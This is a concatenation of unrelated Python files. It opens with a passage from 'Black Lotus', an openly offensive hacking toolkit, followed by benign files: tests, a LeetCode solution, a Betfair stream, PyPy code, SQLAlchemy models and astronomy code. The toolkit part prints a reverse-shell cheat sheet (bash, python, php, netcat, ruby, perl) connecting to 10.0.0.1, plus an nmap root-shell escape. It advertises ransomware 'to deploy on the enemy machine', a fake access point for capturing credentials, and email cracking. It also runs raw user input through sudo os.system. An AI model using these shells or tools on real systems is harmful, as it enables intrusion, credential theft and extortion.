final_scan = (scan1 + " " + scan2 + " " + scan3 + " " + scan4 + " " + scan6 + " " + scan7 + " " + scan8 + " " + scan9 + " " + scan10 + " " + scan11 + " " + scan12 + " " + scan13 + " " + scan14 + " " + scan15 + " " + scan16 + " " + scan17 + " " + scan18 + " " + scan19 + " " + scan20 + " " + str(target))
start = str(final_scan)
if scan5 == "1":
ip_addr_scanner_target()
else:
pass
print("\033[37mPinging Target:\033[36m ", target)
print("\033[36mInitialising target scan...")
time.sleep(1)
print("Starting Target Scanning")
print("THANKS FOR CHOOSING BLINDMAIDEN")
os.system("sudo nmap " + start)
print("\033[37m")
elif a =="99":
os.system("cls||clear")
print("\033[36mShutting Down Blindmaiden...\033[37m")
blindmaiden_scan_build = False
elif a =="exit":
os.system("cls||clear")
print("\033[36mShutting Down Blindmaiden...\033[37m")
blindmaiden_scan_build = False
else:
print(a, " not recognized, try again")
blindmaiden_scan()
#----------------------------------------------------------------------------------------------------------------------
def shell_lists():
print("""\033[37m
\033[33mReverse Shell List:
\033[31m>>>>>>>>>>>>>>>>>>>
\033[31m#\033[37m bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
\033[31m#\033[37m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234)
\033[31m#\033[37m php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
\033[31m#\033[37m nc -e /bin/sh 10.0.0.1 1234
\033[31m#\033[37m ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
\033[31m#\033[37m perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
\033[33mSpawn Pty Terminal:
\033[31m>>>>>>>>>>>>>>>>>>>
\033[31m#\033[37m python -c "import pty; pty.spawn('/bin/bash');"
\033[33mLaunch A Shell Through Nmap As Root:
\033[31m>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
\033[31m#\033[37m nmap --interactive
\033[31m#\033[37m !sh
""")
#----------------------------------------------------------------------------------------------------------------------
def secure_con():
import socket, ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True
context.load_default_certs()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = input("\033[37mEnter server to connect \033[5;31m>\033[0;37m ")
try:
ssl_sock = context.wrap_socket(s, server_hostname=host, ciphers=TLS_RSA_WITH_AES_256_CBC_SHA|TLS_RSA_WITH_AES_128_CBC_SHA)
ssl_sock.connect((host, 443))
print("\033[32mConnection established!!")
except:
print("\033[31mServer unreachable or does not support the specific encryption")
#----------------------------------------------------------------------------------------------------------------------
def about_us():
print("""
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Black Lotus is a Greek Black Hat group that is capable of protecting Greece
when it comes to cyberwar. Our Target scope does not stop there, we find and attack
illegal activity such as Child Pornography, Drugs, Human Trafficking and more.
We might be pirates but we respect human rights.
With black lotus these have come to an end:
+ 600 Child Pornography Websites
+ Human Trafficking
+ More than 100 pedophiles
If you are a criminal, you are already our target.
This Toolkit was designed first for the team of Black Lotus
Use it with caution
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
""")
#----------------------------------------------------------------------------------------------------------------------
def crack_emailxl():
os.system("cd /Black-Lotus")
os.system("sudo chmod +x craxl.sh")
os.system("sudo ./craxl.sh")
#----------------------------------------------------------------------------------------------------------------------
def meterpreter():
print("\033[0;37m ")
os.system('cls||clear')
print("""
od+-
-dMm//o:
`h+:yds`:` .-o+:-.
-o/hNN/` +/-:`..`:s/:/+.
`-///::ddydMm+.::/o/:. ` .-/-s.
`ohhhyso+//-/mNo-./+s/s/- ` ` +.
-ydoy+::/:-/-+oNh/:.o/:+:. yy.` `.
-/.dsy. `+s//++/:+h-.+o/://``dN// :-
-`-ymh/ `/+s-+os:.yy+-..--..:hm+/-s.
:`-:+yys.`:o+.-/-:ydyo/+-.`o:od//y/ `
-//:.--hd+``-` `///yh/.-`s--:oyoos/ohoss-
.d/`.:sd:/o`.:`..oy++syyhmNNdmdd+oy:sNd.
-///:o+yo.-++oshhddNNNNMNNmydmhh/::oNN-
`:o+/+syyymNNMMNmmmdddhsyyys+oy--+yy-
./sydhmNmNNNNNmNmmmddhyyyss/h/ `.`
.oyhhhdhddNNNmmNNNmmmmds+:+do
....yyddmhdmmmdmNNmmmmmh::oy+
`.` -yssyy++hmyhdmhsshhho/oh/
:/. `` `osomo:---`.+:yy`
+-. \033[5;31m*\033[0;37m `+oh/y. :sh+
`+. ``oy//. ...`oss+ho `yNss` .`-o+`
```..ym/+/:.` `.-/syyys+//.`.yhhdhdhhNNdh` `/dy+so+-`.:`
`ho/dy+/ooohhys+-` -...:::+...`yNdyhNmmmms::oydyy/ ../++-ss-
.yy:-` `./ydmdo-://::..`.-..-ddmhddshdhdhy+- ` :dy
./+. .-:-.` ..:+.:ssssddNd:ymdyo- ./+
`:-+/soymhdddy/..
---/o+yysdsoo.``
`.:++/ ````..`.:yhhhy+-`
`.:+shyyo:. .:ohhmdhs/.`
--`--.:/+osyyyo:-` `./sdmdhhs/:.``
-+++hhhy+/.` ./ohmmmdhoys`
.++s+`` \033[5;31mThe Jes7er\033[0;37m `-+s:+m/
.-.. :-
\033[37mx[ \033[31mBlack Lotus v2-dev- \033[37m ]\033[31m
\033[37m x --x[ \033[31mBlackhat Hacker\033[37m toolkit ]\033[31m
\033[37mx x --x[ \033[31m72\033[37m custom scripts ]\033[31m
\033[37m For help, type 'help' in the meterpreter\033[37m""")
metcon = True
while metcon:
a = input("\033[31mC:\Black Lotus \033[5;31m|>\033[0;37m ")
if a =="help":
os.system('cls||clear')
print("""\033[37m
\033[31mBlack Lotus Cyber Lab\033[37m
=============
\033[31mCORE COMMANDS \033[37m
=============
# Command Description
# ------- ---------
# clear Clear terminal
# exit/quit exit the console
# cd navigate through directories
# pwd print working directory
# ls list computer files
# mkdir make a new directory
# touch make a new file
# about-us Get to know Black Lotus Better
==================================
\033[31mUpcoming tools (not supported now) \033[37m
==================================
# Command Description
# ------- -----------
# ddos denial of service attacks
# drone Hack drones ...
===========
\033[31mNETWORK LAB\033[37m
===========
# Command Description
# ------- -----------
# wifi Automated Wifi cracking
# db-nmap use nmap to get sensitive information about target network
# db-netcat a computer networking utility for reading from and
|_writing to network connections via TCP/UDP
# observer Advanced Network SCanner
# blindmaiden Automated custom scan builder
# wireshark analyze and capture packets
# etherape Monitor network traffic
# listener make a custom listener for incoming connections
# atom Wifi Network Killer
# wipp Wireless Network Mapping ( Geolocate Routers )
# postman send and recieve files via tcp
# rtsp View rtsp ip cameras with megalodon's rtsp viewer
# sniper Reveal ip details(GEO location, provider, country etc)
# fpoint Create a Fake Wifi access point to capture sensitive info
# telnet Connect to a computer in your network
# dns-resolver Find dns record from various websites or hostnames
# reaper Automatic smb scanner/attacker
===========
\033[31mMALWARE LAB\033[37m
===========
# Command Description
# ------- -----------
# viking Black Lotus advanced malware development toolkit
# ransom Create a ransomware to deploy on the enemy machine
|_Cause your enemies must pay!!
# voodoo Manipulate the target computer using a revershell
# shells A list of shells to use on the enemy computer
=================
\033[31mPASSWORD CRACKING \033[37m
=================
# Command Description
# ------- -----------
# hash-lab encrypt/decrypt text or passwords
# zip-crack crack zip files
# pdf-crack crack pdf files
# password Custom length password generator
# craxl Email Cracking Automation Tool Using Hydra
=================
\033[31mINVESTIGATION LAB\033[37m
=================
# Command Description
# ------- -----------
# people find information about a person
# phone find information about a phone number
# email-va find if an email is Valid
# photo find information about a photo
# shodan search for public vulnerable servers, IoT devices
|_ power plants, security cams
# meta-scraper Scrape hidden files in target domain
# steg Use steganography to hide data in pictures
# face Search all over the web to find persons face
# google-maps translate addresses directly to geographic coordinates
==================
\033[31mDATABASE ASSEGMENT\033[37m
==================
# Command Description
# ------- -----------
# sql-injection Black Lotus SQL Injection Scanner
# database (upcoming) Create a MySQL Database
# db-sqlmap Use sqlmap for advanced SQL Injection
===========
\033[31mWEB HACKING\033[37m
===========
# Command Description
# ------- -----------
# emails Extract email addresses
# xss XSS vulnerability detection in web pages
# subdomain Scans web page for subdomains
# links Extract all internal/external website links
=================
\033[31mVULN RESEARCH LAB\033[37m
=================
# Command Description
# ------- -----------
# exploitdb Find details about an exploit using exploitdb
# cve Get information about a CVE Vulnerability
===============
\033[31mANONYMITY TOOLS \033[37m
===============
# Command Description
# ------- -----------
# tor-start Hide your IP via Tor Relays (3 Tor Relays)
# tor-stop Stop hiding via Tor Relays
# mac Change your MAC Address (Once you restart your
|_computer mac goes back to normal.)
# vpn Connect from custom VPN file
# ghost Become invisible using Black Lotus way of protection
|_(You might have slower internet connection)
# secure connect to servers using advanced encryption
============
\033[31mSECURITY LAB\033[37m
============
# Command Description
# ------- -----------
# arp-detector Detect ARP Spoof Attack via perform passive monitoring
# firewall Black Lotus Firewall Panel to utilise linux
====================
\033[31mSYSTEM UTILITY TOOLS \033[37m
====================
# Command Description
# ------- -----------
# host Basics about host machine ( Ip address, hostname, MAC, etc)
# diagnostics Black Lotus Advanced Computer/Network Diagnostics Panel
# text-editor Black Lotus offers integrated text editor for our hackers!
# webcam Custom webcam opener (not capturing image/video)
# browser Black Lotus custom lightweight web-browser app
# update-system Check for upgrades for your linux machine
# evolution Evolve Black Lotus to it's last version
=============
\033[31mDARKNET TOOLS (Not supported yet)\033[37m
=============
# Command Description
# ------- -----------
# exitmap Analyse tor exit nodes
# trevor TrevorC2 is a client/server model for masking command and control
|_through a normally browsable website
# koadic Windows post-exploitation rootkit
\033[37m----------------------------------------------------------------------------------------------------------------------------------
\033[5;31m|> Help menu \033[0;37m
\033[37m----------------------------------------------------------------------------------------------------------------------------------
""")
elif a =="host":
host_details()
elif a =="craxl":
crack_emailxl()
elif a =="about-us":
about_us()
elif a =="reaper":
reaper()
elif a =="cve":
cve_search()
elif a =="secure":
secure_con()
elif a =="dns-resolver":
dns_resolver()
elif a =="telnet":
telnet_connect()
elif a =="observer":
observer()
elif a =="arp-detector":
detect_arp()
elif a =="blindmaiden":
blindmaiden_automated_scanner()
#elif a =="koadic":
# koadic_darknet()
elif a =="face":
photo_ai()
elif a =="google-maps":
google_maps()
# elif a =="trevor":
# trevor_darknet()
elif a =="shells":
shell_lists()
elif a =="password":
meg_password_generator()
elif a =="steg":
steganography_meg()
elif a =="fpoint":
fake_wifi_access_point()
elif a =="sql-injection":
meg_sql_scan()
elif a =="update-system":
updatesystem()
elif a =="sniper":
sniper()
elif a=="wipp":
wipp()
elif a =="exploitdb":
exploitdb()
elif a=="webcam":
webcam_opener()
elif a=="browser":
carnival_webbrowser()
elif a=="diagnostics":
computer_diagnostics()
elif a=="meta-scraper":
meta_scraper()
elif a=="firewall":
firewall_utilis()
elif a=="postman":
postman()
elif a=="text-editor":
text_editor()
elif a=="rtsp":
rtsp_camera()
elif a=="email-va":
email_va()
elif a =="shodan":
shodan()
elif a =="exit":
os.system('cls||clear')
sys.exit()
elif a =="quit":
os.system('cls||clear')
sys.exit()
elif a =="clear":
os.system('cls||clear')
elif a =="cd":
os.chdir(input("Enter path: "))
elif a =="pwd":
path = str(os.getcwdb())
path2 = path.strip("b'")
print(path2)
elif a =="ls":
print(os.listdir(os.getcwd()))
elif a =="mkdir":
b = input("Enter the path needed for the new directory: ")
c = input("Enter new directory name: ")
path = os.path.join(b, c)
os.mkdir(path)
print("New directory ", c)
elif a =="touch":
file_name = input("File name \033[31m>\033[37m ")
os.system(open(), file_name)
elif a=="emails":
emails()
elif a=="viking":
viking_malware()
elif a=="voodoo":
reverse_server()
elif a=="ransom":
ransomware_instructions()
elif a=="xss":
xss()
elif a=="links":
links()
elif a =="hash-lab":
hash_crack()
elif a =="pdf-crack":
pdf_crack()
elif a =="zip-crack":
zip_crack()
elif a =="tor-start":
os.system("sudo anonsurf start")
time.sleep(1)
os.system('cls||clear')
print("\033[37mAnon Tor service \033[31mActivated\033[37m")
elif a =="tor-stop":
os.system("sudo anonsurf stop")
time.sleep(1)
os.system('cls||clear')
print("\033[37mAnon Tor service \033[31mDisabled\033[37m")
elif a =="mac":
interface = input("Enter interface > ")
os.system("sudo macchanger -r " + interface)
print(" ")
elif a =="vpn":
v = input("VPN file \033[31m>\033[37m ")
os.system("sudo openvpn " + v)
elif a =="ghost":
ghost_anon()
elif a == "phone":
phone_lookup()
elif a =="photo":
photo()
elif a =="listener":
listener()
elif a =="atom":
atom()
elif a == "db-sqlmap":
print("\033[37mConnecting to Sqlmap database...")
time.sleep(1)
print("\033[32mConnection Established!!!\033[37m")
time.sleep(0.2)
print("""\033[31m
___
__H__
___ ___[\033[33m"\033[31m]_____ ___ ___ [\033[37m1.5.9#stable\033[31m]
|_ -| . [\033[33m)\033[31m] | .'| . |
|___|_ [\033[33m'\033[31m]_|_|_|__,| _|
|_|\033[33mV\033[31m... |_| \033[37mhttp://sqlmap.org
Usage: \033[31msqlmap\033[37m [\033[33moptions\033[37m]
\033[37mUse \033[31m-h\033[37m for basic and \033[31m-hh\033[37m for advanced help
to exit type '\033[31mexit\033[37m'
\033[37m""")
sqlmap = True
while sqlmap:
n = input("\033[37m Sqlmap \033[31m>\033[37m ")
if n =="exit":
print("\033[31mExitting Sqlmap\033[37m")
sqlmap = False
else:
os.system('sudo '+ n)
elif a == "db-nmap":
print("\033[37mConnecting to Nmap database...")
time.sleep(1)
print("\033[31mConnection Established!!!\033[37m")
time.sleep(0.2)
print("""\033[37m
Usage: \033[31mnmap\033[37m [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
For more help type 'nmap -h', to exit type 'exit'
""")
nmap = True
while nmap:
n = input("\033[37m Nmap \033[31m>\033[37m ")
if n =="exit":
print("\033[31mExitting Network-Mapper\033[37m")
nmap = False
else:
os.system('sudo ' + n)
elif a == "db-netcat":
print("\033[37mConnecting to Netcat database...")
time.sleep(1)
print("\033[31mConnection Established!!!\033[37m")
time.sleep(0.2)
os.system("nc -help")
nc = True
while nc:
netcat = input("\033[37m Netcat \033[31m>\033[37m ")
if netcat == "exit":
print("\033[31mExitting Netcat\033[37m")
nc = False
elif netcat == "help":
os.system("nc -help")
else:
os.system(netcat)
elif a =="etherape":
os.system("sudo etherape")
elif a =="ifconfig":
os.system("sudo ifconfig")
elif a =="wifi":
os.system("sudo wifite")
elif a =="wireshark":
os.system("sudo wireshark")
else:
print(a, " not recognized as an internal or external command")
print("Use 'help' to see the command list")
metcon=False
meterpreter()
#----------------------------------------------------------------------------------------------------------------------
|
import unittest
import pathlib
from signify.authenticode import TRUSTED_CERTIFICATE_STORE
from signify.authroot import CertificateTrustList
root_dir = pathlib.Path(__file__).parent
class AuthrootTestCase(unittest.TestCase):
def test_certificate_can_be_opened(self):
ctl = CertificateTrustList.from_stl_file()
# assume at least 400 items in the list
self.assertGreaterEqual(len(ctl.subjects), 400)
|
from collections import defaultdict
"""
Leetcode(https://leetcode.com/problems/number-of-submatrices-that-sum-to-target/)
"""
class Solution:
def numSubmatrixSumTarget(self, matrix, target) -> int:
# presum of 2D array
S = [[0 for _ in range(len(matrix[0]) + 1)] for _ in range(len(matrix) + 1)]
ans = 0
# calculate presum
for i in range(1, len(S)):
for j in range(1, len(S[0])):
S[i][j] = S[i - 1][j] + S[i][j - 1] - S[i - 1][j - 1] + matrix[i - 1][j - 1]
# reduce 2D to 1D by fixing the two rows
for r1 in range(1, len(S)):
for r2 in range(r1, len(S)):
d = defaultdict(int)
d[0] = 1
for c in range(1, len(S[0])):
cur_sum = S[r2][c] - S[r1 - 1][c]
ans += d[cur_sum - target]
d[cur_sum] += 1
return ans
|
import queue
import logging
from betfairlightweight import BetfairError, filters
from tenacity import retry, wait_exponential
from .basestream import BaseStream
from ..events.events import CurrentOrdersEvent
from .. import config
logger = logging.getLogger(__name__)
class OrderStream(BaseStream):
@retry(wait=wait_exponential(multiplier=1, min=2, max=20))
def run(self) -> None:
logger.info("Starting OrderStream")
if not self._output_thread.is_alive():
logger.info("Starting output_thread {0}".format(self._output_thread))
self._output_thread.start()
self._stream = self.betting_client.streaming.create_stream(
unique_id=self.stream_id, listener=self._listener
)
try:
self.stream_id = self._stream.subscribe_to_orders(
order_filter=filters.streaming_order_filter(
customer_strategy_refs=[config.hostname],
partition_matched_by_strategy_ref=True,
include_overall_position=False,
),
conflate_ms=self.conflate_ms,
)
self._stream.start()
except BetfairError:
logger.error("OrderStream run error", exc_info=True)
raise
except Exception:
logger.critical("OrderStream run error", exc_info=True)
raise
logger.info("Stopped OrderStream {0}".format(self.stream_id))
def handle_output(self) -> None:
"""Handles output from stream.
"""
while self.is_alive():
try:
order_books = self._output_queue.get(
block=True, timeout=self.streaming_timeout
)
except queue.Empty: # todo snap every 5s or so anyway
if self.flumine.markets.live_orders:
order_books = self._listener.snap(
market_ids=self.flumine.markets.open_market_ids
)
else:
continue
if order_books:
self.flumine.handler_queue.put(CurrentOrdersEvent(order_books))
logger.info("Stopped output_thread (OrderStream {0})".format(self.stream_id))
|
from pypy.translator.oosupport.constant import is_primitive
from pypy.rpython.ootypesystem import ootype
class Database(object):
def __init__(self, genoo):
self.genoo = genoo
self.cts = genoo.TypeSystem(self)
self._pending_nodes = set()
self._rendered_nodes = set()
self._unique_counter = 0
self.constant_generator = genoo.ConstantGenerator(self)
self.locked = False # new pending nodes are not allowed here
# ____________________________________________________________
# Miscellaneous
def unique(self):
""" Every time it is called, returns a unique integer. Used in
various places. """
self._unique_counter+=1
return self._unique_counter-1
def class_name(self, OOINSTANCE):
""" Returns the backend class name of the type corresponding
to OOINSTANCE"""
raise NotImplementedError
# ____________________________________________________________
# Generation phases
def gen_constants(self, ilasm):
""" Renders the constants uncovered during the graph walk"""
self.locked = True # new pending nodes are not allowed here
self.constant_generator.gen_constants(ilasm)
self.locked = False
# ____________________________________________________________
# Generation phases
def record_delegate(self, OOTYPE):
""" Returns a backend-specific type for a delegate class...
details currently undefined. """
raise NotImplementedError
# ____________________________________________________________
# Node creation
#
# Creates nodes for various kinds of things.
def pending_class(self, INSTANCE):
""" Returns a Node representing the ootype.Instance provided """
raise NotImplementedError
def pending_function(self, graph):
""" Returns a Node representing the graph, which is being used as
a static function """
raise NotImplementedError
# ____________________________________________________________
# Basic Worklist Manipulation
def pending_node(self, node):
""" Adds a node to the worklist, so long as it is not already there
and has not already been rendered. """
assert not self.locked # sanity check
if node in self._pending_nodes or node in self._rendered_nodes:
return
self._pending_nodes.add(node)
node.dependencies()
def len_pending(self):
return len(self._pending_nodes)
def pop(self):
return self._pending_nodes.pop()
|
#!/usr/bin/env python3
import argparse
import sys
import json
indent_level=4
def parse_cli():
parser = argparse.ArgumentParser(description='Ferris keymap formatter')
parser.add_argument("--input", type=argparse.FileType('r'),
default=sys.stdin, help="Input keymap (json file produced by qmk configurator)")
return parser.parse_args()
def col_index(key_index):
if key_index < 30:
col = key_index % 5
else:
col = key_index % 2
return col
def format_layers(layers):
formatted = indent_level * " " + "\"layers\": [\n"
max_key_length = {}
for layer in layers:
for (index, keycode) in enumerate(layer):
col = col_index(index)
max_length = max_key_length.get(col)
if (not max_length) or len(keycode) > max_length:
max_key_length.update({col: len(keycode)})
for (layer_index, layer) in enumerate(layers):
formatted += 2 * indent_level * " "
formatted += "["
for (index, keycode) in enumerate(layer):
if index > 30 and index % 2 == 0 or index % 5 == 0 and index != 0:
formatted += (1 + 2 * indent_level) * " "
formatted += json.dumps(keycode)
if index == 33:
formatted += "\n"
elif index > 30 and index % 2 == 1 or index % 5 == 4:
formatted += ",\n"
else:
n_spaces = max_key_length[col_index(index)] - len(keycode)
formatted += n_spaces * " "
formatted += ", "
if index % 10 == 9:
formatted += "\n"
formatted += 2 * indent_level * " "
if layer_index < len(layers) - 1:
formatted += "],\n"
else:
formatted += "]\n"
formatted += indent_level * " "
formatted += "]"
return formatted
def format_keymap(keymap_json):
formatted = "{"
for (index, k) in enumerate(keymap_json):
if k == "layers":
formatted += format_layers(keymap_json[k])
else:
formatted += f"{indent_level * ' '}{json.dumps(k)}: {json.dumps(keymap_json[k])}"
if index < len(keymap_json) - 1:
formatted += ","
formatted += "\n"
formatted += "}"
return formatted
def main():
args=parse_cli()
keymap_json = json.loads(args.input.read())
print(format_keymap(keymap_json))
main()
|
""" Tables for movie cateogry fields """
from sqlalchemy import Column, Integer, String
from sqlalchemy.orm import relationship
from src.model import db
from src.model import common
class MovieColor(db.ModelBase):
""" Movie color """
__tablename__ = 'movie_colors'
#: Primary key
pk = Column(Integer, primary_key=True, autoincrement=True)
#: Movie color text
name = Column(String(31), nullable=False, unique=True)
#: Movie relationship
movies = relationship('Movie', back_populates='movie_color')
def __repr__(self):
return '<MovieColor(name="%s")>' % self.name
def __str__(self):
return self.name
class Country(db.ModelBase):
""" Country """
__tablename__ = 'country'
#: Primary key
pk = Column(Integer, primary_key=True, autoincrement=True)
#: Country name
name = Column(String(31), nullable=False, unique=True)
#: Movie relationship
movies = relationship('Movie', back_populates='country')
def __repr__(self):
return '<Country(name="%s")>' % self.name
def __str__(self):
return self.name
class Language(db.ModelBase):
""" Movie Language """
__tablename__ = 'language'
#: Primary key
pk = Column(Integer, primary_key=True, autoincrement=True)
#: Language name
name = Column(String(31), nullable=False, unique=True)
#: Movie relationship
movies = relationship('Movie', back_populates='language')
def __repr__(self):
return '<Language(name="%s")>' % self.name
def __str__(self):
return self.name
class ContentRating(db.ModelBase):
""" Movie content rating """
__tablename__ = 'content_rating'
#: Primary key
pk = Column(Integer, primary_key=True, autoincrement=True)
#: Rating name
name = Column(String(31), nullable=False, unique=True)
#: Movie relationship
movies = relationship('Movie', back_populates='content_rating')
def __repr__(self):
return '<Content Rating(name="%s")>' % self.name
def __str__(self):
return self.name
class Genre(db.ModelBase):
""" Movie genre """
__tablename__ = 'genre'
#: Primary key
pk = Column(Integer, primary_key=True, autoincrement=True)
#: Genre name
name = Column(String(31), nullable=False, unique=True)
movies = relationship(
'Movie', secondary=common.movie_genres, back_populates='genres'
)
class Keyword(db.ModelBase):
""" Movie plot keyword """
__tablename__ = 'keyword'
#: Primary key
pk = Column(Integer, primary_key=True, autoincrement=True)
#: Keyword name
name = Column(String(31), nullable=False, unique=True)
movies = relationship(
'Movie', secondary=common.movie_keywords, back_populates='keywords'
)
|
from unittest import TestCase
from unittest import main
from what_dominates_your_array import dominator
class TestWhatDominamtesYourArray(TestCase):
def test_dominator(self):
ptr = [
([3, 4, 3, 2, 3, 1, 3, 3], 3),
([1, 2, 3, 4, 5], -1),
([1, 1, 1, 2, 2, 2], -1),
([1, 1, 1, 2, 2, 2, 2], 2),
([], -1),
]
for inp, exp in ptr:
with self.subTest(inp=inp, exp=exp):
self.assertEqual(dominator(arr=inp), exp)
if __name__ == "__main__":
main(verbosity=2)
|
#!/usr/bin/env python
#
# ======================================================================
#
# Brad T. Aagaard, U.S. Geological Survey
#
# This code was developed as part of the Computational Infrastructure
# for Geodynamics (http://geodynamics.org).
#
# Copyright (c) 2010-2017 University of California, Davis
#
# See COPYING for license information.
#
# ======================================================================
#
import unittest
from spatialdata.spatialdb.UserFunctionDB import UserFunctionDB
class TestUserFunctionDB(unittest.TestCase):
def setUp(self):
db = UserFunctionDB()
db.inventory.label = "test"
db._configure()
self._db = db
return
def test_constructor(self):
# Trigger call to setUp().
return
# End of file
|
from LOSS_likelihoods import color_likelihood,MK_likelihood,eo_likelihood,morphology_likelihood
from LOSS_hubbletype import hubbletype
import numpy as np
from uncertainties import ufloat
from astropy.cosmology import FlatLambdaCDM
cosmo = FlatLambdaCDM(H0=70, Om0=0.3, Ob0=0.05)
def galsnid_params(eo,z,RFcolors,Morphology):
# parameters used from SN host to assign probability of Ia
# effective offset, K absolute mag, B-K color, morphology
# eo used to determine likely host, float val already available
# RFcolors should be the 3dhst table (the row for this obj)
# Morphology should be the visual classification table (obj row)
# rest frame K & B band flux densities
fnuK = RFcolors['L163'][0]
fnuB = RFcolors['L136'][0]
m_K = -2.5*np.log10(fnuK) + 25
m_B = -2.5*np.log10(fnuB) + 25
# flcdm distance modulus ~ m - M
mu = cosmo.distmod(z)
# absolute mags
MK = m_K - mu.value[0]
MB = m_B - mu.value[0]
Color = MB-MK # B-K
# this hubbletype is the classification fractions
HubbleType = hubbletype(Morphology)
return [eo,MK,Color,HubbleType]
def plot_params_colorbarclassification(SNlist,x_param='MK',y_param='Color',pIalower=0.4,pIaupper=0.9,prior=0.5):
#want to show the classification probabilities with the parameters
#ie a scatter marker location will show the parameter values and a color the classification Ia prob
# the SNlist should have [SN,LOSS_params,LOSS_galsnids]
# ie need to loop through galsnid for each candels SN to make & pickle list
# then load it in to feed here for the plot
# at some point may want to include a loop w galsnid inside this function
# that way could save a step if want to play w prior
import matplotlib
import matplotlib.pyplot as plt
from matplotlib.cm import coolwarm
fig,ax = plt.subplots()
cax = fig.add_axes([0.27,1,0.5,0.05]) # initialize the colorbar axis, location
# LOSS_params will have list like [eo,MK,Color,HubbleType]
if x_param=='eo':
x_idx = 0
elif x_param=='MK':
x_idx = 1
elif x_param=='Color':
x_idx = 2
elif x_param=='HubbleType':
x_idx = 3
else:
print('Your x param wasnt given as eo,MK,Color,HubbleType')
return
if y_param=='eo':
y_idx = 0
elif y_param=='MK':
y_idx = 1
elif y_param=='Color':
y_idx = 2
elif y_param=='HubbleType':
y_idx = 3
else:
print('Your y param wasnt given as eo,MK,Color,HubbleType')
return
# list of host values in parameter space and the classification prob for colorbar
x_vals = []
y_vals = []
vs = []
for i in SNlist:
SN = i[0]
LOSS_params = i[1]
LOSS_galsnid = i[2]
# the host in parameter space
x_vals.append(LOSS_params[x_idx])
y_vals.append(LOSS_params[y_idx])
# classification for the color bar setting
vIa = LOSS_galsnid[0][0] # pIa ufloat; is tuple for an upper and lower error
# [1] would be the CC ufloat also as tuple for upper and lower err
# access prob use attribute .nominal_value, or error using .std_dev
vs.append(vIa.nominal_value)
s = ax.scatter(x_vals,y_vals,c=vs,cmap=coolwarm)
fig.colorbar(s,cax=cax,orientation='horizontal')
print('done did it')
return
def galsnid(params,prior=0.5):
# params should be a list [eo,MK,color,hubbletype]
eo,MK,color,HubbleType=params
# can't id if don't have any of the parameters
if eo == -99.0 and MK == -99.0 and color == -99.0 and HubbleType == -99.0:
return -99.0
else:
avail_params = []
for i in range(len(params)):
if params[i] == -99.0:
# we don't have this parameter can't use for id
pass
else:
avail_params.append([i,params[i]])
used_params = [] # if its avail it still needs to be in loss bin to be used
used_paramflags = [] # 0,1,2,3 ~ eo,MK,col,hubtype...if want to know which used
for i in range(len(avail_params)):
if avail_params[i][0] == 0:
# eo
if eo_likelihood(eo) != -99.0: # falls into LOSS bin
used_params.append(eo_likelihood(eo))
used_paramflags.append(avail_params[i][0])
elif avail_params[i][0] == 1:
# MK
if MK_likelihood(MK) != -99.0: #in LOSS bin
used_params.append(MK_likelihood(MK))
used_paramflags.append(avail_params[i][0])
elif avail_params[i][0] == 2:
# color
if color_likelihood(color) != -99.0: #in LOSS bin
used_params.append(color_likelihood(color))
used_paramflags.append(avail_params[i][0])
elif avail_params[i][0] == 3:
# hubble type
if morphology_likelihood(HubbleType) != -99.0: # in LOSS bin
used_params.append(morphology_likelihood(HubbleType))
used_paramflags.append(avail_params[i][0])
lIas,lCCs,dlIas,dlCCs = [],[],[],[]
for i in range(len(used_params)):
lIas.append(used_params[i][0])
lCCs.append(used_params[i][1])
dlIas.append(used_params[i][2])
dlCCs.append(used_params[i][3])
"""
no longer need this block
I did the calc this way before including error analysis
the nominal values are consistent w results from ufloat
# the normalization
k = prior*np.prod(lIas) + (1-prior)*np.prod(lCCs)
# the posterior, p(Ia|D)
pIa = prior*np.prod(lIas)/k
# p(CC|D), calculate this as sanity check for normalization... pIa + pCC = 1
pCC = (1-prior)*np.prod(lCCs)/k
"""
# calcs w error analysis built in
# upper + ~ 0 idx;lower - ~ 1 idx... dlIas, dlCCs are lists [+delta,-delta]
upper_lIa_ufloats = []
upper_lCC_ufloats = []
for i in range(len(used_params)):
upper_lIa_ufloats.append(ufloat(lIas[i],dlIas[i][0]))
upper_lCC_ufloats.append(ufloat(lCCs[i],dlCCs[i][0]))
upper_k_ufloat = prior*np.prod(upper_lIa_ufloats) + (1-prior)*np.prod(upper_lCC_ufloats)
lower_lIa_ufloats = []
lower_lCC_ufloats = []
for i in range(len(used_params)):
lower_lIa_ufloats.append(ufloat(lIas[i],dlIas[i][1]))
lower_lCC_ufloats.append(ufloat(lCCs[i],dlCCs[i][1]))
lower_k_ufloat = prior*np.prod(lower_lIa_ufloats) + (1-prior)*np.prod(lower_lCC_ufloats)
"""
some useful ufloat properties, ufloat.nominal_value,std_dev,error_components
"""
pIa_upper_ufloat = prior*np.prod(upper_lIa_ufloats)/upper_k_ufloat
pIa_lower_ufloat = prior*np.prod(lower_lIa_ufloats)/lower_k_ufloat
pCC_upper_ufloat = (1-prior)*np.prod(upper_lCC_ufloats)/upper_k_ufloat
pCC_lower_ufloat = (1-prior)*np.prod(lower_lCC_ufloats)/lower_k_ufloat
return [(pIa_upper_ufloat,pIa_lower_ufloat),(pCC_upper_ufloat,pCC_lower_ufloat),used_paramflags]
|
# Concord
#
# Copyright (c) 2020 VMware, Inc. All Rights Reserved.
#
# This product is licensed to you under the Apache 2.0 license (the 'License').
# You may not use this product except in compliance with the Apache 2.0 License.
#
# This product may include a number of subcomponents with separate copyright
